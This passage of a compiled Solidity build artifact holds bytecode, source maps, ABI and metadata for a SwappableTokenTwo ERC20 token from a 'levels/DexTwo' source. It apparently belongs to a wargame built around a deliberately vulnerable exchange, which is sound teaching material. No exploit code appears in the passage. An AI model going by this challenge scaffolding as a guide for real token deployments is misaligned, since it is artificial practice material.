1b9d8da486aa913e7ce0b8d958615852ff8292906a6341e09d07cfbc6ded95864736f6c63430008180033","sourceMap":"1634:462:69:-:0;;;1703:207;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1815:4;1821:6;2044:5:30;:13;1815:4:69;2044:5:30;:13;:::i;:::-;-1:-1:-1;2067:7:30;:17;2077:7;2067;:17;:::i;:::-;;1978:113;;1843:32:69::1;1849:10;1861:13;1843:5;;;:32;;:::i;:::-;-1:-1:-1::0;;1885:4:69::1;:18:::0;;-1:-1:-1;;;;;;1885:18:69::1;-1:-1:-1::0;;;;;1885:18:69;;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;1634:462:69;;8402:389:30;-1:-1:-1;;;;;8485:21:30;;8477:65;;;;-1:-1:-1;;;8477:65:30;;4548:2:155;8477:65:30;;;4530:21:155;4587:2;4567:18;;;4560:30;4626:33;4606:18;;;4599:61;4677:18;;8477:65:30;;;;;;;;8629:6;8613:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8645:18:30;;:9;:18;;;;;;;;;;:28;;8667:6;;8645:9;:28;;8667:6;;8645:28;:::i;:::-;;;;-1:-1:-1;;8688:37:30;;5079:25:155;;;-1:-1:-1;;;;;8688:37:30;;;8705:1;;8688:37;;5067:2:155;5052:18;8688:37:30;;;;;;;8402:389;;:::o;11786:121::-;;;;:::o;14:127:155:-;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:844;200:5;253:3;246:4;238:6;234:17;230:27;220:55;;271:1;268;261:12;220:55;294:13;;-1:-1:-1;;;;;356:10:155;;;353:36;;;369:18;;:::i;:::-;444:2;438:9;412:2;498:13;;-1:-1:-1;;494:22:155;;;518:2;490:31;486:40;474:53;;;542:18;;;562:22;;;539:46;536:72;;;588:18;;:::i;:::-;628:10;624:2;617:22;663:2;655:6;648:18;685:4;675:14;;732:3;725:4;720:2;712:6;708:15;704:26;701:35;698:55;;;749:1;746;739:12;698:55;771:1;762:10;;781:133;795:2;792:1;789:9;781:133;;;883:14;;;879:23;;873:30;852:14;;;848:23;;841:63;806:10;;;;781:133;;;958:1;951:4;946:2;938:6;934:15;930:26;923:37;978:6;969:15;;;;;;146:844;;;;:::o;995:791::-;1112:6;1120;1128;1136;1189:3;1177:9;1168:7;1164:23;1160:33;1157:53;;;1206:1;1203;1196:12;1157:53;1232:16;;-1:-1:-1;;;;;1277:31:155;;1267:42;;1257:70;;1323:1;1320;1313:12;1257:70;1395:2;1380:18;;1374:25;1346:5;;-1:-1:-1;;;;;;1448:14:155;;;1445:34;;;1475:1;1472;1465:12;1445:34;1498:61;1551:7;1542:6;1531:9;1527:22;1498:61;:::i;:::-;1488:71;;1605:2;1594:9;1590:18;1584:25;1568:41;;1634:2;1624:8;1621:16;1618:36;;;1650:1;1647;1640:12;1618:36;;1673:63;1728:7;1717:8;1706:9;1702:24;1673:63;:::i;:::-;1776:2;1761:18;;;;1755:25;995:791;;;;-1:-1:-1;;;;995:791:155:o;1791:380::-;1870:1;1866:12;;;;1913;;;1934:61;;1988:4;1980:6;1976:17;1966:27;;1934:61;2041:2;2033:6;2030:14;2010:18;2007:38;2004:161;;2087:10;2082:3;2078:20;2075:1;2068:31;2122:4;2119:1;2112:15;2150:4;2147:1;2140:15;2004:161;;1791:380;;;:::o;2302:518::-;2404:2;2399:3;2396:11;2393:421;;;2440:5;2437:1;2430:16;2484:4;2481:1;2471:18;2554:2;2542:10;2538:19;2535:1;2531:27;2525:4;2521:38;2590:4;2578:10;2575:20;2572:47;;;-1:-1:-1;2613:4:155;2572:47;2668:2;2663:3;2659:12;2656:1;2652:20;2646:4;2642:31;2632:41;;2723:81;2741:2;2734:5;2731:13;2723:81;;;2800:1;2786:16;;2767:1;2756:13;2723:81;;;2727:3;;2302:518;;;:::o;2996:1345::-;3116:10;;-1:-1:-1;;;;;3138:30:155;;3135:56;;;3171:18;;:::i;:::-;3200:97;3290:6;3250:38;3282:4;3276:11;3250:38;:::i;:::-;3244:4;3200:97;:::i;:::-;3352:4;;3409:2;3398:14;;3426:1;3421:663;;;;4128:1;4145:6;4142:89;;;-1:-1:-1;4197:19:155;;;4191:26;4142:89;-1:-1:-1;;2953:1:155;2949:11;;;2945:24;2941:29;2931:40;2977:1;2973:11;;;2928:57;4244:81;;3391:944;;3421:663;2249:1;2242:14;;;2286:4;2273:18;;-1:-1:-1;;3457:20:155;;;3575:236;3589:7;3586:1;3583:14;3575:236;;;3678:19;;;3672:26;3657:42;;3770:27;;;;3738:1;3726:14;;;;3605:19;;3575:236;;;3579:3;3839:6;3830:7;3827:19;3824:201;;;3900:19;;;3894:26;-1:-1:-1;;3983:1:155;3979:14;;;3995:3;3975:24;3971:37;3967:42;3952:58;3937:74;;3824:201;;;4071:1;4062:6;4059:1;4055:14;4051:22;4045:4;4038:36;3391:944;;;;;2996:1345;;:::o;4706:222::-;4771:9;;;4792:10;;;4789:133;;;4844:10;4839:3;4835:20;4832:1;4825:31;4879:4;4876:1;4869:15;4907:4;4904:1;4897:15;4789:133;4706:222;;;;:::o;4933:177::-;1634:462:69;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb1461019e578063dd62ed3e146101b1578063e1f21c67146101e9575f80fd5b806370a082311461015b57806395d89b4114610183578063a457c2d71461018b575f80fd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633950935114610148575f80fd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f80fd5b6100db6101fe565b6040516100e8919061083c565b60405180910390f35b6101046100ff3660046108a3565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046108cb565b6102a7565b604051601281526020016100e8565b6101046101563660046108a3565b6102ca565b610118610169366004610904565b6001600160a01b03165f9081526020819052604090205490565b6100db610308565b6101046101993660046108a3565b610317565b6101046101ac3660046108a3565b6103c5565b6101186101bf366004610924565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101fc6101f73660046108cb565b6103d2565b005b60606003805461020d90610955565b80601f016020809104026020016040519081016040528092919081815260200182805461023990610955565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b818585610440565b60019150505b92915050565b5f336102b4858285610597565b6102bf858585610627565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061029b908290869061030390879061098d565b610440565b60606004805461020d90610955565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102bf8286868403610440565b5f3361029b818585610627565b6005546001600160a01b03908116908416036104305760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964417070726f766572000000000000000000000000000000000060448201526064016103af565b61043b838383610440565b505050565b6001600160a01b0383166104bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0382166105375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062157818110156106145760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103af565b6106218484848403610440565b50505050565b6001600160a01b0383166106a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b03821661071f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0383165f90815260208190526040902054818110156107ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e390849061098d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f91815260200190565b60405180910390a3610621565b5f602080835283518060208501525f5b818110156108685785810183015185820160400152820161084c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089e575f80fd5b919050565b5f80604083850312156108b4575f80fd5b6108bd83610888565b946020939093013593505050565b5f805f606084860312156108dd575f80fd5b6108e684610888565b92506108f460208501610888565b9150604084013590509250925092565b5f60208284031215610914575f80fd5b61091d82610888565b9392505050565b5f8060408385031215610935575f80fd5b61093e83610888565b915061094c60208401610888565b90509250929050565b600181811c9082168061096957607f821691505b60208210810361098757634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220e1b9d8da486aa913e7ce0b8d958615852ff8292906a6341e09d07cfbc6ded95864736f6c63430008180033","sourceMap":"1634:462:69:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2156:98:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4433:197;;;;;;:::i;:::-;;:::i;:::-;;;1192:14:155;;1185:22;1167:41;;1155:2;1140:18;4433:197:30;1027:187:155;3244:106:30;3331:12;;3244:106;;;1365:25:155;;;1353:2;1338:18;3244:106:30;1219:177:155;5192:286:30;;;;;;:::i;:::-;;:::i;3093:91::-;;;3175:2;1876:36:155;;1864:2;1849:18;3093:91:30;1734:184:155;5873:234:30;;;;;;:::i;:::-;;:::i;3408:125::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3508:18:30;3482:7;3508:18;;;;;;;;;;;;3408:125;2367:102;;;:::i;6594:427::-;;;;;;:::i;:::-;;:::i;3729:189::-;;;;;;:::i;:::-;;:::i;3976:149::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4091:18:30;;;4065:7;4091:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3976:149;1916:178:69;;;;;;:::i;:::-;;:::i;:::-;;2156:98:30;2210:13;2242:5;2235:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2156:98;:::o;4433:197::-;4516:4;719:10:34;4570:32:30;719:10:34;4586:7:30;4595:6;4570:8;:32::i;:::-;4619:4;4612:11;;;4433:197;;;;;:::o;5192:286::-;5319:4;719:10:34;5375:38:30;5391:4;719:10:34;5406:6:30;5375:15;:38::i;:::-;5423:27;5433:4;5439:2;5443:6;5423:9;:27::i;:::-;-1:-1:-1;5467:4:30;;5192:286;-1:-1:-1;;;;5192:286:30:o;5873:234::-;719:10:34;5961:4:30;4091:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;4091:27:30;;;;;;;;;;5961:4;;719:10:34;6015:64:30;;719:10:34;;4091:27:30;;6040:38;;6068:10;;6040:38;:::i;:::-;6015:8;:64::i;2367:102::-;2423:13;2455:7;2448:14;;;;;:::i;6594:427::-;719:10:34;6687:4:30;4091:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;4091:27:30;;;;;;;;;;6687:4;;719:10:34;6831:15:30;6811:16;:35;;6803:85;;;;-1:-1:-1;;;6803:85:30;;3307:2:155;6803:85:30;;;3289:21:155;3346:2;3326:18;;;3319:30;3385:34;3365:18;;;3358:62;3456:7;3436:18;;;3429:35;3481:19;;6803:85:30;;;;;;;;;6922:60;6931:5;6938:7;6966:15;6947:16;:34;6922:8;:60::i;3729:189::-;3808:4;719:10:34;3862:28:30;719:10:34;3879:2:30;3883:6;3862:9;:28::i;1916:178:69:-;2015:4;;-1:-1:-1;;;;;2015:4:69;;;2006:13;;;;1998:41;;;;-1:-1:-1;;;1998:41:69;;3713:2:155;1998:41:69;;;3695:21:155;3752:2;3732:18;;;3725:30;3791:17;3771:18;;;3764:45;3826:18;;1998:41:69;3511:339:155;1998:41:69;2049:38;2064:5;2071:7;2080:6;2049:14;:38::i;:::-;1916:178;;;:::o;10110:370:30:-;-1:-1:-1;;;;;10241:19:30;;10233:68;;;;-1:-1:-1;;;10233:68:30;;4057:2:155;10233:68:30;;;4039:21:155;4096:2;4076:18;;;4069:30;4135:34;4115:18;;;4108:62;4206:6;4186:18;;;4179:34;4230:19;;10233:68:30;3855:400:155;10233:68:30;-1:-1:-1;;;;;10319:21:30;;10311:68;;;;-1:-1:-1;;;10311:68:30;;4462:2:155;10311:68:30;;;4444:21:155;4501:2;4481:18;;;4474:30;4540:34;4520:18;;;4513:62;4611:4;4591:18;;;4584:32;4633:19;;10311:68:30;4260:398:155;10311:68:30;-1:-1:-1;;;;;10390:18:30;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10441:32;;1365:25:155;;;10441:32:30;;1338:18:155;10441:32:30;;;;;;;10110:370;;;:::o;10761:441::-;-1:-1:-1;;;;;4091:18:30;;;10891:24;4091:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;10957:37:30;;10953:243;;11038:6;11018:16;:26;;11010:68;;;;-1:-1:-1;;;11010:68:30;;4865:2:155;11010:68:30;;;4847:21:155;4904:2;4884:18;;;4877:30;4943:31;4923:18;;;4916:59;4992:18;;11010:68:30;4663:353:155;11010:68:30;11120:51;11129:5;11136:7;11164:6;11145:16;:25;11120:8;:51::i;:::-;10881:321;10761:441;;;:::o;7475:651::-;-1:-1:-1;;;;;7601:18:30;;7593:68;;;;-1:-1:-1;;;7593:68:30;;5223:2:155;7593:68:30;;;5205:21:155;5262:2;5242:18;;;5235:30;5301:34;5281:18;;;5274:62;5372:7;5352:18;;;5345:35;5397:19;;7593:68:30;5021:401:155;7593:68:30;-1:-1:-1;;;;;7679:16:30;;7671:64;;;;-1:-1:-1;;;7671:64:30;;5629:2:155;7671:64:30;;;5611:21:155;5668:2;5648:18;;;5641:30;5707:34;5687:18;;;5680:62;5778:5;5758:18;;;5751:33;5801:19;;7671:64:30;5427:399:155;7671:64:30;-1:-1:-1;;;;;7817:15:30;;7795:19;7817:15;;;;;;;;;;;7850:21;;;;7842:72;;;;-1:-1:-1;;;7842:72:30;;6033:2:155;7842:72:30;;;6015:21:155;6072:2;6052:18;;;6045:30;6111:34;6091:18;;;6084:62;6182:8;6162:18;;;6155:36;6208:19;;7842:72:30;5831:402:155;7842:72:30;-1:-1:-1;;;;;7948:15:30;;;:9;:15;;;;;;;;;;;7966:20;;;7948:38;;8006:13;;;;;;;;:23;;7980:6;;7948:9;8006:23;;7980:6;;8006:23;:::i;:::-;;;;;;;;8060:2;-1:-1:-1;;;;;8045:26:30;8054:4;-1:-1:-1;;;;;8045:26:30;;8064:6;8045:26;;;;1365:25:155;;1353:2;1338:18;;1219:177;8045:26:30;;;;;;;;8082:37;1916:178:69;14:548:155;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:196::-;635:20;;-1:-1:-1;;;;;684:54:155;;674:65;;664:93;;753:1;750;743:12;664:93;567:196;;;:::o;768:254::-;836:6;844;897:2;885:9;876:7;872:23;868:32;865:52;;;913:1;910;903:12;865:52;936:29;955:9;936:29;:::i;:::-;926:39;1012:2;997:18;;;;984:32;;-1:-1:-1;;;768:254:155:o;1401:328::-;1478:6;1486;1494;1547:2;1535:9;1526:7;1522:23;1518:32;1515:52;;;1563:1;1560;1553:12;1515:52;1586:29;1605:9;1586:29;:::i;:::-;1576:39;;1634:38;1668:2;1657:9;1653:18;1634:38;:::i;:::-;1624:48;;1719:2;1708:9;1704:18;1691:32;1681:42;;1401:328;;;;;:::o;1923:186::-;1982:6;2035:2;2023:9;2014:7;2010:23;2006:32;2003:52;;;2051:1;2048;2041:12;2003:52;2074:29;2093:9;2074:29;:::i;:::-;2064:39;1923:186;-1:-1:-1;;;1923:186:155:o;2114:260::-;2182:6;2190;2243:2;2231:9;2222:7;2218:23;2214:32;2211:52;;;2259:1;2256;2249:12;2211:52;2282:29;2301:9;2282:29;:::i;:::-;2272:39;;2330:38;2364:2;2353:9;2349:18;2330:38;:::i;:::-;2320:48;;2114:260;;;;;:::o;2379:437::-;2458:1;2454:12;;;;2501;;;2522:61;;2576:4;2568:6;2564:17;2554:27;;2522:61;2629:2;2621:6;2618:14;2598:18;2595:38;2592:218;;-1:-1:-1;;;2663:1:155;2656:88;2767:4;2764:1;2757:15;2795:4;2792:1;2785:15;2592:218;;2379:437;;;:::o;2821:279::-;2886:9;;;2907:10;;;2904:190;;;-1:-1:-1;;;2947:1:155;2940:88;3051:4;3048:1;3041:15;3079:4;3076:1;3069:15","linkReferences":{}},"methodIdentifiers":{"allowance(address,address)":"dd62ed3e","approve(address,address,uint256)":"e1f21c67","approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","decimals()":"313ce567","decreaseAllowance(address,uint256)":"a457c2d7","increaseAllowance(address,uint256)":"39509351","name()":"06fdde03","symbol()":"95d89b41","totalSupply()":"18160ddd","transfer(address,uint256)":"a9059cbb","transferFrom(address,address,uint256)":"23b872dd"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"dexInstance\",\"type\":\"address\"},{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"symbol\",\"type\":\"string\"},{\"internalType\":\"uint256\",\"name\":\"initialSupply\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"subtractedValue\",\"type\":\"uint256\"}],\"name\":\"decreaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"addedValue\",\"type\":\"uint256\"}],\"name\":\"increaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. `value` is the new allowance.\"},\"Transfer(address,address,uint256)\":{\"details\":\"Emitted when `value` tokens are moved from one account (`from`) to another (`to`). Note that `value` may be zero.\"}},\"kind\":\"dev\",\"methods\":{\"allowance(address,address)\":{\"details\":\"See {IERC20-allowance}.\"},\"approve(address,uint256)\":{\"details\":\"See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address.\"},\"balanceOf(address)\":{\"details\":\"See {IERC20-balanceOf}.\"},\"decimals()\":{\"details\":\"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.\"},\"decreaseAllowance(address,uint256)\":{\"details\":\"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`.\"},\"increaseAllowance(address,uint256)\":{\"details\":\"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address.\"},\"name()\":{\"details\":\"Returns the name of the token.\"},\"symbol()\":{\"details\":\"Returns the symbol of the token, usually a shorter version of the name.\"},\"totalSupply()\":{\"details\":\"See {IERC20-totalSupply}.\"},\"transfer(address,uint256)\":{\"details\":\"See {IERC20-transfer}. Requirements: - `to` cannot be the zero address. - the caller must have a balance of at least `amount`.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DexTwo.sol\":\"SwappableTokenTwo\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/DexTwo.sol\":{\"keccak256\":\"0xeffc9f6006e26bd2ce1e6816206f515b65726c131439751db3636dd8886d6d5e\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://871623804cf6467cf51bb241e523472e6cea91a6ce400658adc218cffbfe2b38\",\"dweb:/ipfs/QmUjenKKbWtidbvdp8xFBeVH15NTxXKEnnC8ke3L78c1P7\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"dexInstance","type":"address"},{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address","indexed":true},{"internalType":"address","name":"spender","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"from","type":"address","indexed":true},{"internalType":"address","name":"to","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"stateMutability":"view","ty